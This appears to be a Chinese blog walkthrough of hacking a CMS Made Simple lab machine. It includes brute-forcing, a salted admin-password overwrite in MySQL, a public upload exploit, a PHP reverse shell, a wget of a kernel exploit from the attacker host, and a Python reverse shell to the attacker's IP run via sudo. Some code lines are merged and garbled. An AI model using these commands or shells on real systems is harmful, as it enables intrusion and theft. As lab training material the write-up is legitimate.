網(wǎng)站建設(shè)優(yōu)化公司cps推廣接單平臺(tái)
**寫(xiě)在前面:**記錄一次艱難曲折的打靶經(jīng)歷。
目錄
- 1. 主機(jī)發(fā)現(xiàn)
- 2. 端口掃描
- 3. 服務(wù)枚舉
- 4. 服務(wù)探查
- 4.1 WEB服務(wù)探查
- 4.1.1 瀏覽器訪(fǎng)問(wèn)
- 4.1.2 目錄枚舉
- 4.1.3 控制臺(tái)探查
- 4.1.4 其他目錄探查
- 4.2 階段小結(jié)
- 5. 公共EXP搜索
- 5.1 CMS搜索
- 5.2 Apache搜索
- 5.3 PHP搜索
- 5.4 MySQL搜索
- 5.5 CGI搜索
- 6. 密碼爆破
- 6.1 爆破CMS控制臺(tái)
- 6.2 爆破phpmyadmin
- 6.3 爆破MySQL
- 6.3.1 構(gòu)造密碼字典
- 6.3.2 實(shí)施爆破
- 7. 探查MySQL數(shù)據(jù)庫(kù)
- 8 分析CMS公共EXP漏洞
- 8.1 Showtime2
- 8.2 Download Manager
- 8.3 Antz toolkit
- 8.4 簡(jiǎn)單分析
- 9. 分析CMS控制臺(tái)登錄
- 9.1 找源碼
- 9.2 分析源碼
- 10. CMS控制臺(tái)利用
- 10.1 安裝Download Manager
- 10.2 利用EXP
- 10.3 構(gòu)建php的反彈shell
- 11. 突破邊界
- 12. 提權(quán)
- 12.1 探查/etc/passwd
- 12.2 枚舉操作系統(tǒng)信息
- 12.3 枚舉可執(zhí)行文件
- 12.4 枚舉定時(shí)任務(wù)
- 12.5 利用公共EXP提權(quán)
- 12.5.1 搜索公共EXP
- 12.5.2 利用提權(quán)EXP
- 12.6 查找憑據(jù)
- 12.7 查看sudo權(quán)限
- 12.7.1 編寫(xiě)python腳本
- 12.7.2 再次提權(quán)
- 13. 獲取flag
1. 主機(jī)發(fā)現(xiàn)
目前只知道目標(biāo)靶機(jī)在56.xx網(wǎng)段,通過(guò)如下的命令,看看這個(gè)網(wǎng)段上在線(xiàn)的主機(jī)。
$ nmap -sP 192.168.56.0/24
確定目標(biāo)靶機(jī)的IP地址是192.168.56.102。
2. 端口掃描
通過(guò)下面的命令,對(duì)目標(biāo)靶機(jī)進(jìn)行全端口掃描。
$ sudo nmap -p- 192.168.56.102
從上面可以看出,目標(biāo)靶機(jī)上除了ssh服務(wù)之外,還有web應(yīng)用,以及mysql服務(wù)。
3. 服務(wù)枚舉
接下來(lái),通過(guò)下面的命令,直接枚舉上述開(kāi)放端口上的服務(wù)。
$ sudo nmap -p22,80,3306,33060 -A -sV -sT 192.168.56.102
通過(guò)端口上的服務(wù)枚舉,確定了OpenSSH、Apache、MySQL服務(wù)的版本號(hào),這為后面的進(jìn)一步探查確定了大致的范圍。接下來(lái)我們將依次探查web服務(wù)、mysql服務(wù),實(shí)在不行在探查openssh服務(wù)。
4. 服務(wù)探查
4.1 WEB服務(wù)探查
4.1.1 瀏覽器訪(fǎng)問(wèn)
首先通過(guò)瀏覽器直接訪(fǎng)問(wèn)靶機(jī)的80端口,看看有什么收獲。
貌似是一個(gè)CMS主頁(yè),內(nèi)容比較多;從“Manage your Website anywhere and anytime”可以看出,這個(gè)站點(diǎn)可能存在一個(gè)遠(yuǎn)程的web管理console;另外,從主頁(yè)的右下角可以看出,當(dāng)前CMS Made Simple的版本是2.2.13。
等會(huì)兒沒(méi)有思路的時(shí)候再回來(lái)依次點(diǎn)擊可以點(diǎn)擊的內(nèi)容,看看有什么具體的發(fā)現(xiàn)。
4.1.2 目錄枚舉
通過(guò)下面的命令進(jìn)行一下目錄枚舉。
$ dirsearch -u http://192.168.56.102
果然應(yīng)驗(yàn)了我們前面的猜測(cè),枚舉出的web站點(diǎn)目錄中有管理console的登錄頁(yè)面,上面紅圈中的內(nèi)容使我們關(guān)注的重點(diǎn),我們首先從管理console入手(因?yàn)檫@里的權(quán)限時(shí)2xx和3xxx,幾乎沒(méi)有限制)。
4.1.3 控制臺(tái)探查
通過(guò)瀏覽器訪(fǎng)問(wèn)一下,確實(shí)打開(kāi)的是管理控制臺(tái)的登錄頁(yè)面。
直接輸入用戶(hù)名admin和密碼testpwd(我也不知道用戶(hù)名和密碼是啥,隨便輸入即可)嘗試登錄一下,看看返回啥內(nèi)容吧。
登錄失敗,預(yù)料之中的事情,我們重點(diǎn)關(guān)注提交的表單參數(shù),以及請(qǐng)求和響應(yīng)中的cookie等內(nèi)容。
再次嘗試請(qǐng)求(用戶(hù)名:testusr,密碼:testpass),看看哪些是變化的,哪些是不變的。
經(jīng)過(guò)多次嘗試發(fā)現(xiàn),響應(yīng)消息中的cookie不變,請(qǐng)求消息中的Cookie在不重新打開(kāi)瀏覽器的情況下也不變,這多少出乎我的預(yù)料,暫時(shí)放一邊,等會(huì)兒確實(shí)需要爆破的時(shí)候再研究細(xì)節(jié)。
接下來(lái)嘗試一下忘記密碼的操作,點(diǎn)擊登錄頁(yè)面的忘記密碼連接,進(jìn)入忘記密碼處理頁(yè)面。隨便輸入一個(gè)用戶(hù)名點(diǎn)擊提交,提示用戶(hù)不存在。
這有點(diǎn)意思,說(shuō)明這里可以進(jìn)行管理員用戶(hù)枚舉(因?yàn)镃MS安裝的時(shí)候是需要設(shè)置管理員用戶(hù)的)。
再用admin用戶(hù)進(jìn)行忘記密碼的提交試試看。
返回500錯(cuò)誤,跟隨便輸入用戶(hù)的時(shí)候,反映不一樣啊,這說(shuō)明admin用戶(hù)很有可能是存在的,實(shí)在不行的時(shí)候,可以嘗試爆破這個(gè)用戶(hù)。
4.1.4 其他目錄探查
通過(guò)瀏覽器進(jìn)到assets。
有些內(nèi)容,逐個(gè)點(diǎn)開(kāi)看一下吧。
基本上都是類(lèi)似下面的404,沒(méi)啥具體收獲;包括doc、modules、lib目錄都是一樣的。
然后看一下phpinfo.php,通過(guò)瀏覽器進(jìn)去http://192.168.56.102/phpinfo.php。
內(nèi)容比較多,我們可以從中發(fā)現(xiàn)PHP的版本,以及管理員賬號(hào)信息。
除此之外還可以得到apache的環(huán)境信息、php的環(huán)境信息、mysql的具體版本等等,沒(méi)有太多亮眼的信息,還是看一下phpmyadmin下面都有些啥吧,這里目錄枚舉的時(shí)候都是401狀態(tài),應(yīng)該有些內(nèi)容。
額,需要用戶(hù)名密碼,估計(jì)有了用戶(hù)名密碼就可以進(jìn)去了。
接下來(lái)看看tmp目錄下都有些啥。
進(jìn)去看了一下cache和templates_c底下,也沒(méi)有實(shí)際內(nèi)容,都是404,還剩最后一個(gè)uploads目錄,進(jìn)去看看,也沒(méi)有實(shí)際內(nèi)容。
4.2 階段小結(jié)
到目前為止,我們已經(jīng)在web服務(wù)里面探查了好久,至少得到了兩個(gè)管理控制臺(tái),一個(gè)是CMS的管理控制臺(tái),并且管理員用戶(hù)很可能就是admin,另一個(gè)是MySQL的管理控制臺(tái)phpmyadmin,待會(huì)兒可以嘗試逐個(gè)爆破。
5. 公共EXP搜索
接下來(lái)我們搜索一下對(duì)應(yīng)服務(wù)的公共EXP。
5.1 CMS搜索
結(jié)果不太理想,優(yōu)化一下關(guān)鍵詞試試看。
更加沒(méi)有相關(guān)性,暫時(shí)放棄CMS的公共EXP利用。
5.2 Apache搜索
也沒(méi)有合適的公共EXP。
5.3 PHP搜索
也沒(méi)有合適的EXP。
5.4 MySQL搜索
MySQL的搜索結(jié)果也不太理想,phpmyadmin試試看。
結(jié)果比較多,目前我們還不知道目標(biāo)靶機(jī)的phpmyadmin版本是多少,但是搜索結(jié)果中有些不限版本的,等會(huì)兒可以試試看。
5.5 CGI搜索
記得目標(biāo)靶機(jī)有CGI/1.1的組件,搜索一下看看。
搜索結(jié)果基本沒(méi)有相關(guān)性,暫時(shí)放棄。
6. 密碼爆破
6.1 爆破CMS控制臺(tái)
我們要爆破admin用戶(hù)的密碼,所以我們需要在burp的intruder中先設(shè)置密碼為需要參數(shù)化的項(xiàng),如下圖。
說(shuō)明:經(jīng)過(guò)手工測(cè)試驗(yàn)證,這里的Cookie不會(huì)變化,所以這里暫時(shí)不做參數(shù)化。
接下來(lái)我們?cè)趐ayloads中設(shè)置密碼字典。
設(shè)置好后,點(diǎn)擊右上角的“start attack”,進(jìn)行蠻力攻擊,如果彈出下圖所示的告警對(duì)話(huà)框,直接OK即可。
然后會(huì)自動(dòng)新打開(kāi)一個(gè)對(duì)話(huà)框,進(jìn)行記錄攻擊的過(guò)程。
說(shuō)明:這里忘記設(shè)置校驗(yàn)過(guò)程了,如果能夠成功爆破,最后看那個(gè)length長(zhǎng)度不一樣的結(jié)果即可。
經(jīng)歷一個(gè)多小時(shí),沒(méi)有爆破成功,暫時(shí)放棄。
6.2 爆破phpmyadmin
接下來(lái)嘗試爆破一下phpmyadmin吧,先用burp抓包看一下請(qǐng)求與響應(yīng)內(nèi)容。
這是一個(gè)HTTP的get請(qǐng)求,用戶(hù)名和密碼以上圖所示的base64編碼的方式放到請(qǐng)求頭的Authorization字段里面,如果認(rèn)證失敗會(huì)返回401的代碼。
這里重點(diǎn)參照大神的帖子(https://blog.csdn.net/weixin_50464560/article/details/119273112)。
說(shuō)明:本來(lái)第三個(gè)參數(shù)應(yīng)該是通過(guò)load加載密碼表的,可能是密碼表過(guò)大,加載失敗,只能拆分。
最后在Payload Processing下面點(diǎn)擊add添加base64編碼規(guī)則。
啟動(dòng)attack。
等了半天也沒(méi)有爆破成功,只好放棄。
6.3 爆破MySQL
只剩一個(gè)mysql遠(yuǎn)程接入的口子了,嘗試爆破一下。先手工連接一下試試看。
$ mysql -h 192.168.56.102 -uroot -p
嗯,可以正常訪(fǎng)問(wèn),那就直接爆破一下,還是用kali自帶的hydra,密碼字典用john構(gòu)造一下。
6.3.1 構(gòu)造密碼字典
基礎(chǔ)字典選擇root、mysql、admin,然后在后面綴上0~3個(gè)阿拉伯?dāng)?shù)字。john.conf配置如下。
說(shuō)明:這里更正一下,之前的文章說(shuō)錯(cuò)了,添加了$[0-9] $[0-9] $[0-9]之后,生成的字典中包含了以基礎(chǔ)字典里面單詞為前綴,后面跟0~3個(gè)阿拉伯?dāng)?shù)字的所有組合,比如admin、admin1、admin11、admin111等等。
通過(guò)下面的命令構(gòu)造密碼字典。
$ john --wordlist=origin_word.txt --rules --stdout > pwd.txt
6.3.2 實(shí)施爆破
通過(guò)下面的命令實(shí)施爆破。
$ hydra -l root -P pwd.txt 192.168.56.102 mysql
運(yùn)氣太好了,密碼就是root,早知道這樣不費(fèi)這么多勁去構(gòu)造密碼字典進(jìn)行爆破了,應(yīng)該先用root登錄嘗試一下。
$ mysql -h 192.168.56.102 -uroot -proot
7. 探查MySQL數(shù)據(jù)庫(kù)
既然能夠以root登錄數(shù)據(jù)庫(kù),接下來(lái)我們先探查一下數(shù)據(jù)庫(kù)中有些啥。
有點(diǎn)意思,里面有CMS的數(shù)據(jù)庫(kù),進(jìn)入cmsms_db,看看相關(guān)的表,以及表中的內(nèi)容,不再贅述。
我們發(fā)現(xiàn)cms_users表中只有一個(gè)admin用戶(hù),這印證了我們前面驗(yàn)證的admin用戶(hù)確實(shí)存在,但是從這里看不出admin的密碼,我們嘗試用hash-identifier來(lái)看看。
$ hash-identifier fb67c6d24e756229aab021cea7605fb3
意思是說(shuō)最有可能的密碼是MD5散列后的值,跑了這么遠(yuǎn)都沒(méi)有實(shí)質(zhì)突破,先自己構(gòu)造一個(gè)密碼的MD5,然后替換原來(lái)的試一下再說(shuō)吧。生成MD5。
替換原有的密碼。
MySQL [cmsms_db]> update cms_users set password='cc03e747a6afbbcbf8be7668acfebee5' where username='admin';
說(shuō)明:實(shí)戰(zhàn)過(guò)程中,盡量不用這么做,這可能會(huì)被管理員察覺(jué)。如果真要這么做,也應(yīng)建議用完之后盡快恢復(fù)回原有的密碼。
迫不及待地用修改后的密碼試了一下,還是失敗了,估計(jì)使用了加鹽的機(jī)制。
在加鹽的情況下,想要突破,只能研究CMS登錄時(shí)的加鹽機(jī)制,這得分析CMS的登錄處理的源代碼才可能實(shí)現(xiàn),不太可行,而且耗時(shí)。
8 分析CMS公共EXP漏洞
前面已經(jīng)搜索過(guò)CMS的公共EXP漏洞,沒(méi)有真正匹配我們版本(2.2.13)的漏洞。
接下來(lái)我們將逐步分析一下不受CMS版本限制的四個(gè)漏洞:第一個(gè)和最后三個(gè)。
8.1 Showtime2
8.2 Download Manager
8.3 Antz toolkit
8.4 簡(jiǎn)單分析
從上面涉及三個(gè)模塊的四個(gè)漏洞利用代碼來(lái)看,貌似都是需要先登錄到CMS才可以,所以目前我們別無(wú)選擇,只有想辦法研究CMS登錄時(shí)的密碼加鹽機(jī)制。
9. 分析CMS控制臺(tái)登錄
9.1 找源碼
Google一下,CMS的源碼有兩個(gè)相對(duì)比較可靠的查閱點(diǎn),一個(gè)是CMS官方給出的瀏覽地址。
http://viewsvn.cmsmadesimple.org/listing.php?repname=cmsmadesimple&path=%2F&sc=0
另一個(gè)是Git上的https://github.com/cmsmadesimple。
我這里使用前者,打開(kāi)上面的地址,進(jìn)入branches下面,找到合適的代碼點(diǎn)擊Download下載即可,我這里選擇的是最接近2.2.13版本的2.2.17-b,如下圖。
9.2 分析源碼
下載完成解壓以后,直接導(dǎo)入VS Code。
打開(kāi)admin目錄下的login.php(看上去穩(wěn)如老狗,實(shí)際上慌得一逼,這是我第一次看php代碼,各位見(jiàn)笑了)。
快速瀏覽一下,代碼中先實(shí)現(xiàn)了密碼找回的邏輯,然后是處理登錄的邏輯,個(gè)人感覺(jué)下圖所示的部分就是登錄處理邏輯,似懂非懂。
但是真正的登錄處理邏輯就應(yīng)該在標(biāo)紅的代碼上,因?yàn)榍懊媸桥袛嘤脩?hù)名密碼是否存在,后面就直接根據(jù)oneuser來(lái)拋異常了。先百度一下php中的“->”是啥意思吧,讓各位見(jiàn)笑了。
大致是調(diào)用了userops的LoadUserByUsername函數(shù)?暫且這么理解吧,全局搜索一下這個(gè)函數(shù)。
嗯,是在class.useroperations.inc.php中定義的,轉(zhuǎn)到函數(shù)定義的地方仔細(xì)看看。
終于找到了,貌似是用sitemask加鹽的。關(guān)鍵是這個(gè)sitemask又是個(gè)什么鬼呢?全局搜索顯然成了我這個(gè)php白癡的法寶,看看這個(gè)get_site_preference是從哪里弄到這個(gè)sitemask的。
感覺(jué)有點(diǎn)眉目了,可能跟數(shù)據(jù)庫(kù)表cms_userprefs有關(guān)系,不過(guò)這里沒(méi)有sitemask啊,再全局搜一下sitemask看看。
嗯,又是一個(gè)表cms_siteprefs??磥?lái)sitemask不外乎這兩張表了,進(jìn)數(shù)據(jù)庫(kù)查一把。
感覺(jué)有些對(duì)不上了,這里面并沒(méi)有mask之類(lèi)的字樣,再回去看看代碼。在前面的LoadUserByUsername函數(shù)中,參與MD5計(jì)算的鹽值是一個(gè)名為get_site_preference的函數(shù)的返回值。
順藤摸瓜,看看這個(gè)get_site_preference函數(shù)的定義。
里面簡(jiǎn)單調(diào)用了cms_siteprefs類(lèi)的get方法,繼續(xù)摸瓜。
cms_siteprefs類(lèi)的get方法定義也比較明確,如果找到了第一個(gè)參數(shù)指定的值,則返回之;如果找不到,則返回函數(shù)調(diào)用時(shí)指定的默認(rèn)值(這里是空值’’)。前面查過(guò)cms_siteprefs表,貌似沒(méi)有找到sitemask有關(guān)的東西,再回來(lái)看看。
猛然意識(shí)到(本質(zhì)原因還是自己道行不夠深)sitemask可能不是Field名稱(chēng),而是sitepref_name下面的值,直接進(jìn)去搜索一下試試看。
MySQL [cmsms_db]> select * from cms_siteprefs where sitepref_name = 'sitemask';
還真是這樣子,既然找到了sitemask,直接將它作為鹽值參與MD5計(jì)算。
MySQL [cmsms_db]> update cms_users set password=md5(CONCAT('a235561351813137','test123')) where username='admin';
加入鹽值修改密碼后,再次嘗試使用test123登錄admin用戶(hù),成功了。
10. CMS控制臺(tái)利用
10.1 安裝Download Manager
從前面的分析我們已經(jīng)知道,CMSMS上相對(duì)比較靠譜的漏洞集中在三個(gè)模塊上:Showtime2、Antz Toolkit、Download Manager。并且涉及Showtime2的兩個(gè)漏洞需要用到Metasploit或者授權(quán);Antz模塊在CMSMS的官網(wǎng)上沒(méi)找到,因此直接使用Download Manager,先從官網(wǎng)(http://dev.cmsmadesimple.org/project/files/522)下載EXP漏洞對(duì)應(yīng)1.4.1版本。
直接下載xml版本,然后從CMSMS控制臺(tái)的“Site Admin/Module Manager”導(dǎo)入進(jìn)去。
導(dǎo)入之后,在Module Manager頁(yè)面顯示如下,還不能正常使用。
點(diǎn)擊Action一欄中對(duì)應(yīng)的Install菜單,安裝該模塊,安裝完成后,Download Manager的狀態(tài)如下。
并且在頂部會(huì)收到如下的提示信息。
貌似還得配置下載目錄,并賦予777的權(quán)限,不知道是不是能夠正常實(shí)現(xiàn),先往下走走看吧。
10.2 利用EXP
既然我們已經(jīng)安裝好了Download Manager,接下來(lái)我們利用前面下載的EXP代碼34298.py。整體看了一下代碼,沒(méi)啥大問(wèn)題,接下來(lái)修改一下host變量,指向我們的目標(biāo)靶機(jī)。
然后運(yùn)行一下腳本。
嗯,報(bào)錯(cuò)了,看一下報(bào)錯(cuò)的代碼。
從代碼來(lái)看,沒(méi)有正常解析socket發(fā)送post請(qǐng)求之后的響應(yīng)消息。在socket的recv函數(shù)下面添加一行打印響應(yīng)消息的代碼,看看響應(yīng)是啥。
再次運(yùn)行。
報(bào)404了,說(shuō)明我們的URL有問(wèn)題,再回去檢查一下代碼。
每個(gè)請(qǐng)求的路徑前面都有一個(gè)前綴/cmsms,但實(shí)際上我們?cè)跒g覽器中訪(fǎng)問(wèn)靶機(jī)各個(gè)頁(yè)面的時(shí)候是沒(méi)有這個(gè)前綴的,如下圖。
直接去掉這個(gè)前綴,修改后的代碼如下。
再次運(yùn)行EXP。
雖然打印的返回消息體有亂碼,導(dǎo)致第51行代碼出錯(cuò),但是實(shí)際上我們的shell上傳成功了,仔細(xì)查看代碼會(huì)發(fā)現(xiàn),報(bào)錯(cuò)部分是用于解析處理上傳shell的路徑的。暫時(shí)忽略這個(gè)錯(cuò)誤,直接去這個(gè)“/modules/DownloadManager/lib/simple-upload/”路徑下看看都有些啥。
都是這幾次運(yùn)行腳本時(shí)傳上來(lái)的內(nèi)容,至少上傳成功了,文件名都是“shell_xxxxx.php”,其中xxxxx是隨機(jī)的。其它幾個(gè)不是以shell_xxx命名的文件,逐個(gè)手工打開(kāi)看一下。
發(fā)現(xiàn)example.php文件貌似可以用于上傳文件的入口啊。等會(huì)兒直接用這個(gè)頁(yè)面進(jìn)行上傳我們的反彈shell試試看吧。我前面使用的exp代碼也沒(méi)有太看明白應(yīng)該把反彈shell寫(xiě)在哪里好,自己手動(dòng)上網(wǎng)搜索,構(gòu)建一個(gè)。
10.3 構(gòu)建php的反彈shell
上網(wǎng)搜索,構(gòu)建包含反彈shell的php腳本,內(nèi)容如下所示,其中IP地址和端口是Kali主機(jī)的IP地址和nc監(jiān)聽(tīng)端口。
先在kali主機(jī)上開(kāi)啟對(duì)4444端口的監(jiān)聽(tīng)。
通過(guò)前面的example.php頁(yè)面上傳包含反彈shell的php腳本試試看。通過(guò)頁(yè)面的Browse選擇我們構(gòu)建的revers.php,然后點(diǎn)擊Send File上傳。
點(diǎn)擊Send File之后,頁(yè)面回顯,顯示上傳成功了。
通過(guò)瀏覽器回到上一層的simple-upload目錄看一下,我們的php文件上傳成功,時(shí)間顯示也是正確的。
這時(shí)候發(fā)現(xiàn)我們kali主機(jī)上的nc監(jiān)聽(tīng)并沒(méi)有反映。
11. 突破邊界
手工訪(fǎng)問(wèn)一下我們剛剛上傳的php文件,因?yàn)槲覀兊膒hp文件中沒(méi)有實(shí)際要顯示的內(nèi)容,只是一個(gè)簡(jiǎn)單的反彈shell,所以瀏覽器頁(yè)面會(huì)一直轉(zhuǎn)圈圈。這時(shí)候再次查看我們的nc監(jiān)聽(tīng),反彈shell成功建立。
這可能是因?yàn)橹挥姓?qǐng)求對(duì)應(yīng)的php文件時(shí),才會(huì)執(zhí)行對(duì)應(yīng)的代碼,所以當(dāng)我們?yōu)g覽器請(qǐng)求的時(shí)候才會(huì)真正構(gòu)建反彈shell。這只是我個(gè)人的瞎猜。
12. 提權(quán)
這個(gè)靶機(jī)太折騰了,到現(xiàn)在才完成突破邊界的工作,接下來(lái)就要提權(quán)了。
12.1 探查/etc/passwd
從上面的輸出可以看出,當(dāng)前用戶(hù)www-data是沒(méi)有辦法直接從ssh登錄的,可以手工嘗試一下。
根本就不給機(jī)會(huì),包括root用戶(hù)也是一樣的。
這說(shuō)明通過(guò)爆破root的密碼進(jìn)行提權(quán)是不可能的。
12.2 枚舉操作系統(tǒng)信息
Debian 10版本,64位系統(tǒng),內(nèi)核版本是4.19.98-1。
12.3 枚舉可執(zhí)行文件
搜索一下root用戶(hù)所有的,其它用戶(hù)可讀可寫(xiě)的可執(zhí)行文件。
www-data@mycmsms:/var/www$ find / -type f -user root -perm -o=w 2>/dev/null
基本沒(méi)有發(fā)現(xiàn)什么有價(jià)值的信息,然后查找一下帶有SUID標(biāo)記的文件。
www-data@mycmsms:/var/www$ find / -perm -u=s -type f 2>/dev/null
有個(gè)binary.sh的腳本,看看有沒(méi)有戲。
腳本內(nèi)容有點(diǎn)簡(jiǎn)單的不像話(huà)啊,直接運(yùn)行一下試試看。
我擦,竟然可以直接運(yùn)行,不過(guò)就算能夠修改這個(gè)腳本,添加了反彈shell,我運(yùn)行的時(shí)候,反彈回來(lái)的應(yīng)該還是www-data用戶(hù),達(dá)不到提權(quán)的目的。既然到了這里,花上30秒試試看吧,說(shuō)不定撞大運(yùn)呢。
看來(lái)我想多了,這個(gè)文件對(duì)于www-data用戶(hù)可讀、可執(zhí)行,但是不可寫(xiě)。
12.4 枚舉定時(shí)任務(wù)
ww-data@mycmsms:/var/www$ ls -lah /etc/cron*
意義不大,直接看一下crontab的內(nèi)容。
沒(méi)有什么幫助,并且該文件也沒(méi)有寫(xiě)權(quán)限,修改不了。
12.5 利用公共EXP提權(quán)
12.5.1 搜索公共EXP
既然前面提取了系統(tǒng)的指紋,直接搜索一下對(duì)應(yīng)的系統(tǒng)有沒(méi)有可利用的公共EXP。
初步感覺(jué)這四個(gè)都能夠提權(quán),逐個(gè)試試看。
12.5.2 利用提權(quán)EXP
大概瀏覽了一下四個(gè)代碼文件,相對(duì)來(lái)說(shuō)47163可能更靠譜一些,因?yàn)樵赿ebian10上測(cè)試過(guò)。先從這個(gè)下手,直接編譯。
$ gcc -s 47163.c -o ptrace_traceme_root
沒(méi)報(bào)任何錯(cuò)誤,將編譯后的ptrace_traceme_root上傳到目標(biāo)靶機(jī)。
$ python3 -m http.server 80
直接在目標(biāo)靶機(jī)下載。
$ wget http://192.168.56.107/ptrace_traceme_root
直接運(yùn)行。
$ ./ptrace_traceme_root
失敗了,修改一下權(quán)限,再次執(zhí)行試試看。
可以執(zhí)行了,但是報(bào)錯(cuò)了,看看靶機(jī)有沒(méi)有g(shù)cc,有的話(huà)等會(huì)兒我們直接在靶機(jī)編譯。
嗯,還真有,直接在靶機(jī)下載c代碼。
$ wget http://192.168.56.107/47163.c
編譯一下。
$ gcc -s 47163.c -o ptrace_traceme_root
再次運(yùn)行試試看。
又失敗了,報(bào)了其它錯(cuò)誤。搜索了一下,目標(biāo)靶機(jī)上確實(shí)沒(méi)有對(duì)應(yīng)的文件或者路徑。
有人說(shuō)這個(gè)應(yīng)該是linux桌面freedestop上的東西,如果不是桌面版的linux可能不存在,所以我們只能放棄47163。
轉(zhuǎn)到其它幾個(gè)試試看,采用同樣的方法,不再贅述。
完?duì)僮恿?#xff0c;每個(gè)都有錯(cuò)誤。
12.6 查找憑據(jù)
到目前為止,感覺(jué)能用的招數(shù)都用上了。www-data這個(gè)用戶(hù),我總是感覺(jué)怪怪的,并且在提權(quán)的一開(kāi)始我們就發(fā)現(xiàn)了這個(gè)用戶(hù)沒(méi)辦法直接從SSH登錄。既然我們通過(guò)四個(gè)內(nèi)核提權(quán)漏洞提權(quán)失敗,又不能爆破這個(gè)www-data用戶(hù),我們?cè)俅尾榭?etc/passwd,看看還有沒(méi)有別的收獲。
貌似這里面還有個(gè)用戶(hù),并且是唯一允許ssh登錄的非root賬號(hào)。用這個(gè)賬號(hào)登錄試一下。
也不允許通過(guò)ssh登錄,包括之前的root用戶(hù),都不可以??纯茨芊駨膚ww-data切換過(guò)去。
可以切換過(guò)去,但是需要密碼。既然這樣,我們還是回到www-data用戶(hù)所能夠查看的內(nèi)容下,看看能不能找到對(duì)應(yīng)的密碼;找不到的話(huà),再想其它辦法。
armour用戶(hù)下的文件,沒(méi)有權(quán)限查看。先看看www-data用戶(hù)下自己的文件吧,直接進(jìn)入www-data的HOME目錄下搜索。
這還是之前我們通過(guò)apache的80端口進(jìn)行目錄枚舉的地方,我們逐個(gè)目錄進(jìn)去看看,看是否能夠發(fā)現(xiàn)一些通過(guò)目錄枚舉或者瀏覽器沒(méi)有找到的內(nèi)容。從admin目錄從上到下依次查看。
目錄下文件比較多,除了php腳本文件之外最顯眼的就是開(kāi)始的兩個(gè)臨時(shí)文件.htaccess和.htpasswd,看看這倆文件里面都是些啥。
有點(diǎn)意思,在.htpasswd里面有個(gè)字符串,貌似是編碼過(guò)的,或者是個(gè)摘要之類(lèi)的,先用hash-identifier看看。
額,看來(lái)不是摘要類(lèi)的,再看看是不是base64/32/16編碼的內(nèi)容。
嗯,用base32/16都解不出信息,死馬當(dāng)活馬醫(yī)吧,把base64解出的內(nèi)容再用base64/32/16解一把試試看。
哈,比較幸運(yùn),竟然直接解出了armour的密碼,直接su到armour試試看。
貌似這個(gè)shell也挺詭異的,輸入密碼之后沒(méi)啥動(dòng)靜啊,隨便敲個(gè)命令試試看。
從上面可以看出,實(shí)際上是有反應(yīng)的,只是不顯示shell提示符。然后直接用這個(gè)密碼su到root用戶(hù)試試看。
嗯,我太天真了,先看看armour用戶(hù)的HOME目錄下有些啥吧。
逐個(gè)看一下。
/tmp下面有個(gè)test.py,看看里面有些啥。
文件被刪除了,再回來(lái)逐個(gè)看HOME下的文件。
看看這里提到的clear_console文件。
沒(méi)啥有價(jià)值的內(nèi)容,繼續(xù)下去,.bashrc中沒(méi)有發(fā)現(xiàn)有價(jià)值的信息;跳過(guò)binary.sh(前面已經(jīng)看過(guò)了),再看看.gnupg。
額,這下面有個(gè)密鑰有關(guān)的目錄,進(jìn)去看看。
空的,繼續(xù)看下面的.profile。
也沒(méi)啥干貨,還剩最后一個(gè).viminfo,進(jìn)去看看。
也沒(méi)啥有用的信息。
12.7 查看sudo權(quán)限
再看看sudo權(quán)限信息吧,再不行就放棄了
額,到了我的知識(shí)盲區(qū),意思是armour用戶(hù)以root用戶(hù)的方式運(yùn)行/usr/bin/python命令并且不需要密碼嗎?會(huì)不會(huì)是我如果用sudo /usr/bin/python xxxx.py就是以root用戶(hù)運(yùn)行python腳本?試試看。
12.7.1 編寫(xiě)python腳本
發(fā)現(xiàn)沒(méi)法在armour下直接通過(guò)vi編輯腳本。直接通過(guò)echo將下面的代碼寫(xiě)入到腳本。
#!/usr/bin/python
import os, subprocess, sockets=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.107',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
整體的命令如下。
echo "#!/usr/bin/python
import os, subprocess, sockets=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.107',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])" > mypython.py
通過(guò)cat查看一下。
基本OK。
12.7.2 再次提權(quán)
在kali主機(jī)上開(kāi)啟監(jiān)聽(tīng)。
然后通過(guò)sudo運(yùn)行一下試試看。
sudo /usr/bin/python mypython.py
直接就反彈成功,從提示符#來(lái)看,應(yīng)該是root權(quán)限了,驗(yàn)證一下。
13. 獲取flag
既然是root了,直接提取flag吧。
這是目前經(jīng)歷的最曲折的一個(gè)靶機(jī)。